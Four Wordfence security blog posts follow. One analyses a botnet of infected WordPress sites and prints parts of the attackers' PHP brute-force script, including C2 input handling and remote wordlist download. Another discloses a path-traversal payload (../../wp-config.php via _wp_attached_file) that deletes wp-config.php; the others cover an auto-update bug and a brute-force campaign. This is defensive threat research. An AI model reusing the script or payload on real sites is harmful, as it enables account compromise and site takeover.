Categories
Security

Botnet of Infected WordPress Sites Attacking WordPress Sites

The Defiant Threat Intelligence team recently began tracking the behavior of an organized brute force attack campaign against WordPress sites. This campaign has created a botnet of infected WordPress websites to perform its attacks, which attempt XML-RPC authentication to other WordPress sites in order to access privileged accounts.

Between Wordfence’s brute force protection and the premium real-time IP blacklist, we have blocked more than five million malicious authentication attempts associated with this attack campaign in the last thirty days alone.

The threat actors (hackers) use a group of four command and control (C2) servers to send requests to over 14,000 proxy servers provided by a Russian proxy provider called best-proxies[.]ru. They use these proxies to anonymize the C2 traffic. The requests pass through the proxy servers and are sent to over 20,000 infected WordPress sites. Those sites are running an attack script which attacks targeted WordPress sites. The diagram below illustrates the attack chain.

In the post below, we describe this attack chain in detail for the benefit of researchers, vendors and security operations teams. We have omitted or redacted data in some cases because the C2 servers and infected WordPress sites are still online and may be exploited by others. Our team is sharing data with law enforcement related to this investigation. We are also providing data to affected hosts to help them remediate infected machines on their networks.

Brute Force Attack Scripts Identified

In our research of this campaign we determined that the IPs performing the brute force attacks were nearly all associated with popular web hosting providers, and that the attacks were all targeting WordPress’s XML-RPC interface at /xmlrpc.php. We also noted that the User-Agent strings associated with these requests matched those used by applications commonly seen interacting with the XML-RPC interface, like wp-iphone and wp-android. Since these applications typically store credentials locally, it was unusual to see a significant amount of failed logins from them, which drew our attention. We identified over 20,000 WordPress slave sites that were attacking other WordPress sites.

WordPress Attacking WordPress

With this data in hand, we went on to identify brute force attack scripts present on infected WordPress sites matching the attacks we were tracking. The scripts target the XML-RPC interface of WordPress sites to test username/password pairs, and randomly spoof the User-Agent string of each request:

foreach ($request as $i => $id) {
    $xmlualist  = array("Poster", "WordPress", "Windows Live Writer", "wp-iphone", "wp-android", "wp-windowsphone");
    $xmlual = $xmlualist[array_rand($xmlualist)];

The brute force script takes command and control (C2) input via POST in order to define some execution settings, such as a JSON array of targeted domains and a local wordlist to be used:

if ($_POST['secret']=='111'){
    $timer = time();
    libxml_use_internal_errors(true);
    ini_set('memory_limit', '-1');
    ini_set('max_execution_time', 500000000000);
    $request = array();
    if(checkWordsList($_POST['wordsList'], $_POST['path'], $_POST['hash'])){
        $domainsData = json_decode($_POST['domainsData'], true);
        foreach($domainsData as $item){
            $brutePass = createBrutePass($_POST['wordsList'], $item['domain'], $item['login'], $_POST['startPass'], $_POST['endPass']);
            $request[] = array('id'=>$item['id'], 'user'=>$item['login'], 'request'=>createFullRequest($item['login'], $brutePass),'domain'=>'http://' . trim(strtolower($item['domain'])).'/xmlrpc.php', 'brutePass'=>$brutePass);

        }

Dynamic Wordlist Generation

The wordlists associated with this campaign contain small sets of very common passwords. However, the script includes functionality to dynamically generate appropriate passwords based on common patterns. A few examples of these patterns are:

  • %domainPattern%
  • %userName%
  • %userName%1
  • %userName%123
  • %userName%2018
  • %userName%2017
  • %userName%2016

In other words, if the brute force script was attempting to log on to example.com as the user alice, it will generate passwords like example, alice1, alice2018, and so on. While this tactic is unlikely to succeed on any one given site, it can be very effective when used at scale across a large number of targets.

Multicall Functionality

WordPress’s XML-RPC interface saw an upswing in brute force attacks in 2015, when attacks leveraging multicall functionality became popular. In short, using this interface an attacker could send a large number of user/password pairs in a single request. WordPress would test each pair, and return a list of successes and failures. This technique made the brute force attack process much easier to launch at scale, since an attacking device would only need to send a single batch of credentials and wait for a reply.

The brute force script in this campaign is built to perform this type of multicall attack by default. The code snippet below shows the function that, when given a username and array of passwords, will assemble a single XML object containing all of the passwords to be attempted.

function createFullRequest($login, $passwords){
    $xml = createRequestXML();
    for($i = 0; $i saveXML();
    return $request;
}

The C2 systems issuing instructions to the brute force script can optionally define $startPass and $endPass variables, which tell the script to only attempt a subset of passwords on a given list instead of running the entire set.

Multicall Attacks No Longer Effective (Mostly)

Many WordPress users may not be aware that this XML multicall attack is no longer effective. A patch to wp-includes/class-wp-xmlrpc-server.php was introduced in WordPress 4.4. With this patch, if one login attempt in an XML-RPC request fails on a targeted website, that website will immediately fail all subsequent attempts in the same request, even if the credentials are valid.

The XML-RPC patch to WordPress 4.4 was released quietly, and isn’t disclosed in the release notes. It also hasn’t been backported to earlier WordPress branches like the majority of security fixes, despite being a relatively uninvasive patch. To clarify, even if a site is on the latest security release of a WordPress branch from 4.3 and older, it can be vulnerable to this attack method.

The attackers in this campaign seem to be aware of this improvement. A number of requests from C2 systems to (formerly) infected sites have been intercepted by the Wordfence firewall, and these requests all define the same value for the $startPass and $endPass parameters described above. This means that the attack scripts end up attempting authentication with one user/password combination at a time, effectively deprecating the script’s own multicall functionality.

Attacker Infrastructure Revealed

As mentioned above, we’ve been able to capture requests sent from C2 systems to the network of infected WordPress sites, and have been successful in acquiring a great deal of intelligence from this data.

Central C2 Servers Identified

The attack chain in this campaign made use of multiple layers of abstraction between the attacker and target sites. Brute force attacks are executed by a network of infected WordPress sites, which receive instructions via a network of proxy servers, so it would typically be very difficult to track the central C2 servers behind it all. We were fortunate, though, that the attacker made some mistakes in their implementation of the brute force scripts.

Since the scripts each make use of wordlists stored on the same infected WordPress site, they include functionality to regenerate these wordlists if necessary:

function checkWordsList($filename, $path, $hash){
    if(file_exists($_SERVER["DOCUMENT_ROOT"].'/'.$filename) and md5_file($_SERVER["DOCUMENT_ROOT"].'/'.$filename) == $hash){
        return true;
    }else{
        downloadCurlTarg($path, $_SERVER["DOCUMENT_ROOT"].'/'.$filename);
        if(file_exists($_SERVER["DOCUMENT_ROOT"] . '/' . $filename) and md5_file($_SERVER["DOCUMENT_ROOT"] . '/' . $filename) == $hash){
            return true;
        }else{
            return false;
        }
    }
}

The checkWordsList() function is passed a $path argument which defines a remote address containing the wordlist to be used. If the local wordlist is missing, the script will download the list from the given address. This path is provided alongside the rest of the POST data sent from the proxy servers to the brute force script. Requests intercepted by our firewall included this path, which contained an IP address.

This IP pointed to a server which contained a login page, which suggested we found something big.

Simple login screen found on the C2 servers.

We went on to identify a total of four active command and control servers involved in the brute force campaign.

C2 Interface Access

Brief analysis of the C2 sites revealed that, despite the login page, authentication to these systems wasn’t actually enforced. Attempting to access pages on the C2 interface would trigger a 302 redirect to the login page, but the application still sent the page data alongside the redirect.

cURL request to the homepage of a C2 server. Note the 302 redirect to /login.php, as well as the HTML response that follows it.

Using BurpSuite, we created a proxy rule that ignores this login redirect, which gave us the ability to browse the interface of the C2 application freely. Contained within the interface was a number of features, including the ability to access a list of “slaves”, which referred to the infected WordPress sites containing brute force scripts.

One view available in the C2 interface showing a list of logs exported by the attacker.

Identified Connection To Best-Proxies.ru

With access to the interfaces of these C2 servers, we were able to identify the relationship between these servers and the proxy servers issuing commands to the “slave” sites. Each server contained a file in its webroot named proxy.txt. This file contains a list of nearly ten thousand SOCKS proxy addresses, with IP addresses and ports. These IP addresses coincided with the proxy servers we had previously identified, suggesting the C2 uses this file to randomly select a proxy when issuing each attack. We identified 14,807 proxy servers.

Interestingly, the proxy.txtfile on one of the C2 servers didn’t contain a list of proxy addresses, but instead contained an HTML document. The document was a copy of a 503 Service Unavailable error, including a link to api.best-proxies.ru. Also in this document was Russian text which translates to “Authorization error: The validity period of this key is over, you can buy a new key.”

It turns out, even hackers forget to pay their bills.

Screenshot of the error document stored on a C2 server, suggesting the attacker failed to renew the API key used to access proxy lists.

Given the circumstances, it’s probable that the C2 server sources its list of SOCKS proxies from api.best-proxies.ru by directly storing the API response in proxy.txt. When the API returns an error, this error overwrites the proxy list.

C2 Servers and “Bulletproof” Hosts in Romania, Netherlands and Russia

The C2 servers we identified are hosted with providers known in the security community as “bulletproof” hosts. “Bulletproof” refers to hosts that are known for lax (if any) enforcement of abuse policies and legal action, making them a de facto safe haven for malicious activity.

According to MaxMind’s GeoLite2 ASN database, three of the identified C2 servers are associated with a company called HostSailor. HostSailor has been in the news for infamously threatening KrebsOnSecurity after the security publication drew attention to the company’s questionable practices.

Two of the C2 servers hosted at HostSailor are located in the Netherlands and one is in Romania. The remaining C2 server is hosted with SELECTEL, a Russian hosting provider which is referred to as bulletproof in discussions on forums like BlackHatWorld.

Cooperation With Authorities

A great deal of valuable data was gathered as a part of this investigation. Due to the nature of our work, our team maintains contact with a number of law enforcement agencies around the globe. While we typically share a great deal of data on these blog posts, like IP addresses and other indicators of compromise, in this case we have elected to retain some of this information in order to prevent interfering with possible future investigations.

In addition to law enforcement, we will be contacting some hosting providers we’ve identified with large numbers of infected “slave” sites. It is our hope that providing this information can help limit the effectiveness of this campaign by reducing the number of active sites launching attacks.

What Should Site Owners Do?

In order to prevent your site from falling victim to brute force attacks, it is valuable to implement restrictions and lockouts for failed logins. The Wordfence plugin features robust brute force protection, and the IPs launching the attacks are automatically blocked for Premium Wordfence users with access to the real-time IP blacklist.

The Wordfence scanner is effective at detecting the malware this attack campaign is dropping on affected websites. That detection capability is already in production for Premium customers and will be available for our community users in a few days.

If you believe your site is infected and launching attacks as part of this campaign, please consider making use of our site cleaning services. Our team is familiar with these cases and can ensure your issue is properly handled. You should also consider having our team perform a site security audit.

Conclusion

The Defiant Threat Intelligence Team identified a widespread campaign of brute force attacks against WordPress websites. These attacks were launched by malicious scripts planted on other WordPress sites, which received instructions from a botnet with a sophisticated attack chain, using a Russian based proxy provider. We are actively collaborating with law enforcement and hosting providers to mitigate the effects of this attack campaign and the threat actor involved.

Credits: Author Mikey Veenstra. Research by Brad Haas and Mikey Veenstra. Additional contributions from James Yokobosky, Paolo Tresso and Gregory Bloom. Edited by Mark Maunder and Dan Moen. Artwork by Syndel Klett.

 

The post Botnet of Infected WordPress Sites Attacking WordPress Sites appeared first on Wordfence.

Categories
Security

Details of an Additional File Deletion Vulnerability – Patched in WordPress 4.9.7

Today WordPress released version 4.9.7, a security release which addresses two separate arbitrary file deletion vulnerabilities requiring Author privileges. Some details can be found on the WordPress.org blog.

This post is Copyright 2018 Defiant, Inc. and was published on the wordfence.com official blog. Republication of this post without permission is prohibited. You can find this post at: https://www.wordfence.com/blog/2018/07/details-of-an-additional-file-deletion-vulnerability-patched-in-wordpress-4-9-7/

The first arbitrary file deletion vulnerability was disclosed June 26, 2018 on the RIPS Tech blog with no official patch to WordPress in place. We released a firewall rule the same day to protect Wordfence users from attacks against this vulnerability.

A Second Vulnerability Discovered

After developing a proof of concept of the attack to aid in writing the Wordfence firewall rule, we decided to have a closer look at the code used to create and delete attachments. During this review, we discovered a second arbitrary file deletion vulnerability exploitable by authors. We released a Wordfence firewall rule to our Premium customers on July 2nd to protect against this vulnerability.

The details of the second vulnerability are as follows: In WordPress core, there is an “upload-attachment” AJAX action used by the media uploader. The AJAX call will handle the file upload and pass an array of additional data about the attachment to wp_insert_post, since media attachments are a specific post type within WordPress.

function wp_ajax_upload_attachment() {
    
    ...
    
    // Post data from user input.
	$post_data = isset( $_REQUEST['post_data'] ) ? $_REQUEST['post_data'] : array();

	// If the context is custom header or background, make sure the uploaded file is an image.
	if ( isset( $post_data['context'] ) && in_array( $post_data['context'], array( 'custom-header', 'custom-background' ) ) ) {
		$wp_filetype = wp_check_filetype_and_ext( $_FILES['async-upload']['tmp_name'], $_FILES['async-upload']['name'] );
        
        ...
        
	}

	$attachment_id = media_handle_upload( 'async-upload', $post_id, $post_data );

The vulnerability lies in the way wp_insert_post populates the meta data for the attachment. The path to the attachment file is stored in the meta key _wp_attached_file. By supplying post_data[meta_input][_wp_attached_file] in the request to the “upload-attachment” AJAX action, we can pass in ../../wp-config.php which WordPress will treat as the attachment file.

Similar to the first arbitrary file deletion vulnerability, when an author deletes this attachment, the wp-config.php is deleted allowing the author to go through the initial WordPress installation process which allows them to fully compromise the site.

WordPress Releases a Fix in 4.9.7

The WordPress security team has just released version 4.9.7 which addresses both of these issues by performing some additional checks before deleting attachment files. Specifically, they have added the function wp_delete_file_from_directory which they use to verify the file is within the uploads directory before deleting it.

/**
 * Deletes a file if its path is within the given directory.
 *
 * @since 4.9.7
 *
 * @param string $file      Absolute path to the file to delete.
 * @param string $directory Absolute path to a directory.
 * @return bool True on success, false on failure.
 */
function wp_delete_file_from_directory( $file, $directory ) {
	$real_file = realpath( wp_normalize_path( $file ) );
	$real_directory = realpath( wp_normalize_path( $directory ) );

	if ( false === $real_file || false === $real_directory || strpos( wp_normalize_path( $real_file ), trailingslashit( wp_normalize_path( $real_directory ) ) ) !== 0 ) {
		return false;
	}

	wp_delete_file( $file );

	return true;
}

Timeline

  • 2018-06-29 11:26 AM (-500) – Initial report of second arbitrary file deletion vulnerability submitted to WordPress security team.
  • 2018-07-02 1:14 PM (-500) – Firewall rule released to Wordfence Premium customers to address second vulnerability.
  • 2018-07-05 12:00 PM (-500) – WordPress releases version 4.9.7 which fixes both vulnerabilities.

What To Do

We strongly encourage you to update to 4.9.7 as soon as possible. If you have automatic updates enabled, your site should update within the next 24 hours. Automatic updates are enabled by default in WordPress for minor releases.

Credits: Congrats to Matt Barry, our lead developer at Wordfence for finding this vulnerability and writing up technical details. Thanks to Mikey Veenstra for editing this post. As always, thanks to the WordPress security team for being super responsive and for their hard work helping secure WordPress core.

The post Details of an Additional File Deletion Vulnerability – Patched in WordPress 4.9.7 appeared first on Wordfence.

Categories
Security

WordPress Update Breaks Future Auto-Updates. Manually Update Now!

[Update at 10:50am PST: Based on the comments we’ve received below, it sounds like this problem only affects certain sites.  We have received several reports of successful updates, although some of these may be the hosting provider updating WordPress installs manually. Overall this looks like good news for the WordPress team who reported this as a severe bug. If you have been impacted by this, let us know in the comments.]

In an unfortunate turn of events, WordPress 4.9.3 was released earlier this week and it included a bug which broke WordPress auto-update. Millions of sites auto-updated from 4.9.2 to WordPress 4.9.3 and it broke their ability to auto-update in the future.

What Broke?

WordPress 4.9.3 included a bug that causes a fatal PHP error when WordPress tries to update itself. This interrupts the auto-update process and leaves the site on 4.9.3 forever.

The core developers tried to reduce the number of API calls that occur when an auto-update job is run. According to the WordPress core development blog:

#43103-core aimed to reduce the number of API calls which get made when the autoupdate cron task is run. Unfortunately due to human error, the final commit didn’t have the intended effect, and instead triggers a fatal error as not all of the dependancies of find_core_auto_update() are met. For whatever reason, the fatal error wasn’t discovered before 4.9.3’s release – it was a few hours after release when discovered.

Only Actively Maintained Sites Are Affected

WordPress has included the capability to auto-update since WP version 3.7, which was released four years ago. The WordPress auto-update function only updates minor versions by default. That means that only releases that change the number to the far right of your WP version will auto-update. In other words, if you were on 4.9.3 and 4.9.4 is released, your site will auto-update. But If WordPress 5.0.0 is released, your site will not auto-update by default.

It’s important to understand that WordPress works this way, because that limits the number of sites that auto-updated to the version that broke auto-update. Only WordPress sites running 4.9.2 would have updated automatically to 4.9.3, which broke auto-update.

This is important because A) It means that the population of websites that now have a broken auto-update is smaller than ALL WordPress sites and more importantly B) The sites that have a broken auto-update would have been manually updated by the site owner when WordPress 4.9 was released.

This means that every site affected by this was manually updated to WordPress 4.9 “Tipton” after November 16, 2017 when 4.9 was released. So, while this bug is unfortunate, the good news is that, for the most part, it only affects actively maintained sites that have been manually updated by the admin within the last 3 months. If a site was not updated to WordPress 4.9 during that time, it will still be on an older track and will not have received the broken auto-update.

The sites that we are most concerned about are sites that are unmaintained. If auto-update broke on those sites, they may not receive another update for several years, until someone remembers the site exists and does an update. Those unmaintained sites are not affected by this and will continue to auto-update.

For example, we have an unmaintained test website that is currently on WordPress version 3.9.23 and it has been steadily receiving auto-updates without any updates from us. That site is not affected by this bug and it received it’s most recent auto-update on January 16th.

Update Your Site Manually Now

Some of you will find that your hosting company has taken care of this for you, especially if you are on a ‘Managed WordPress’ plan. If you are now stuck on WordPress 4.9.3, you will need to manually update your site to continue receiving auto-updates. To update manually and get past this broken auto-update issue, simply sign into your WordPress site as your admin user and visit Dashboard → Updates and click “Update Now.”

After the update, make sure that your core version is 4.9.4. You can scroll down and check the bottom right of your admin panel and it should say “Version 4.9.4”.

Please share this info with the WordPress community to help make them aware than they will need to sign into their sites and do the manual update to get past version 4.9.3 and this issue.

The post WordPress Update Breaks Future Auto-Updates. Manually Update Now! appeared first on Wordfence.

Categories
Security

Breaking: Aggressive WordPress Brute Force Attack Campaign Started Today, 3am UTC

A massive distributed brute force attack campaign targeting WordPress sites started this morning at 3am Universal Time, 7pm Pacific Time. The attack is broad in that it uses a large number of attacking IPs, and is also deep in that each IP is generating a huge number of attacks. This is the most aggressive campaign we have seen to date, peaking at over 14 million attacks per hour.

The attack campaign was so severe that we had to scale up our logging infrastructure to cope with the volume when it kicked off, which makes it clear that this is the highest volume attack that we have seen in Wordfence history, since 2012.

The campaign continues to ramp up in volume during the past hour as we publish this post. A graph of the attack volumes is shown below which shows the number of attacks per hour and the number of attacking IPs that we see each hour.

Our infrastructure automatically blacklisted the participating IPs in real-time and distributed those to our Premium customers. This all happened unattended early this morning. We continue to monitor the campaign and are analyzing its origin and who is behind it.

What we know at this time:

  • The attack has so far peaked at 14.1 million attacks per hour.
  • The total number of IPs involved at this time is over 10,000.
  • We are seeing up to 190,000 WordPress sites targeted per hour.
  • This is the most aggressive campaign we have ever seen by hourly attack volume.

A possible explanation for this new massive increase in brute force attacks

On December 5th, a massive database of hacked credentials emerged. It contains over 1.4 billion username/password pairs. Approximately 14% of the database contains credentials that have not been seen before. The database is also searchable and easy to use.

Historically, brute force attacks targeting WordPress have not been very successful. This new database provides fresh credentials that, when matched with a WordPress username, may provide a higher success rate for attackers targeting sites that do not have any protection.

Protecting Yourself

If you have not already done so, install Wordfence immediately on your site. Even the free version of Wordfence provides excellent brute force protection by limiting login attempts and hiding usernames while employing a variety of other mechanisms to ward off attackers.

The Premium version of Wordfence uses a real-time IP blacklist to completely block attackers. Our real-time blacklist was automatically updated as this attack started early this morning to immediately block IPs engaging in the attack. As you can see from the chart above, we are already monitoring over 10,000 unique IPs and actively blocking them.

We strongly recommend that you upgrade to Wordfence Premium to benefit from the real-time blacklist feature which blocks any traffic from these malicious IPs.

Spread the Word

This is the highest volume brute force attack we have seen to date. It may also be using the fresh credentials that were provided in the database released on December 5th, so it may achieve a higher than normal success rate. Please spread the word among the WordPress community to create awareness of this new threat. You can suggest the following actions to your fellow WordPress site owners:

  1. Install a firewall like Wordfence that intelligently blocks brute force attacks.
  2. Ensure that you have strong passwords on all user accounts, especially admin. Wordfence Premium provides password auditing capability.
  3. Change your admin username from the default ‘admin’ to something harder to guess.
  4. Delete any unused accounts, especially admin accounts that you don’t use. This reduces your attack surface.
  5. Enable two-factor authentication on all admin accounts. Wordfence Premium provides two-factor.
  6. Enable an IP blacklist to block IPs that are engaged in this attack. Wordfence Premium provides a real-time IP blacklist.
  7. Monitor login attempts by configuring alerts when an admin signs into your website. Wordfence (free version) provides this.
  8. Do not reuse a password on multiple services. That way if you have a password from a data breach in this new database, it won’t be the same as your WordPress admin password. You can use a password manager like 1password to manage many passwords across services.

The post Breaking: Aggressive WordPress Brute Force Attack Campaign Started Today, 3am UTC appeared first on Wordfence.